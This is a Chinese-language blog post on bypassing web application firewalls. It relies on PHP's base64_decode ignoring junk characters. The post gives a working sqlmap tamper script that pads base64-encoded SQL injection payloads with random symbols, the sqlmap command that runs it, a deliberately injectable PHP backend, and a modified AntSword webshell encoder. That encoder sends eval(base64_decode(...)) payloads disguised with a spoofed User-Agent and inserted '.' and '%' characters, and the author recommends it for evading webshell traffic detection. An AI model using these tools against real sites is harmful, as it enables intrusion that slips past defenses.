0x01
PHP base64解码时,出现. % 等符号,会忽略这些符号,以下内容经过phpbase64解码都会得到相同的结果
payload | 结果 |
---|---|
d%GV;zd.A== | test |
d.GV:zdA== | test |
dGVzdA== | test |
通过遍历可见字符来获取可以使用的符号
<?php
for($i=32;$i<128;$i++){
$str='TW'.chr($i).'82'.chr($i).'MA==';
if (base64_decode($str)=='Mo60')
echo chr($i);
}
?>
得到
!"#$%&'()*,-.:;<=>?@[\]^_`{|}~
0x02
当waf不能解码而后端能解码从而绕过waf,这里列举两个情况,
- sql注入
- 连接webshell
1.sql注入
后端代码,这里直接使用information_schema数据库就不用配置其他环境填写密码即可
<?php
$con=mysqli_connect('localhost','root','root','information_schema');
if($con){
$name=base64_decode(@$_GET['name']);
mysqli_query($con,"SELECT table_name FROM tables where table_name='$name'");
}else{
exit("Error!");
}
?>
这里直接用sqlmap的tamper 然后选取一部分可用来字符来随机
#!/usr/bin/env python
import random
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload = encodeBase64(payload, binary=False)
retVal=''
for i in payload:
retVal=retVal+str(i)+str(random.choice('!%()*,-.:;^_{|}~'))
return retVal
运行语句and效果图
sqlmap -u "http://127.0.0.1/?name=A" -p name -dbms mysql -v 3 --batch --tamper base64encodebypass --technique T
2.连接webshell
这里来改造一下蚁剑的默认base64编码器,选取了.%这两个字符在payload里面随机添加
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let temp = ['.', '%'];
//ua头
ext.opts.httpConf.headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36';
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
let newStr = '';
let number = 0;
for (var i = 0 ; i < data[randomID].length; i++)
{
number= parseInt(Math.random() * 2);
newStr +=`${data[randomID].charAt(i)}${temp[number]}`;
}
data[randomID]=newStr;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
设置代理到burp可以看到数据包
用处肯定不止上面演示的那几种,还可以拿来免杀webshell流量等,只要有用到base64的地方均可使用
One comment
你的sqlmap为什么这么猛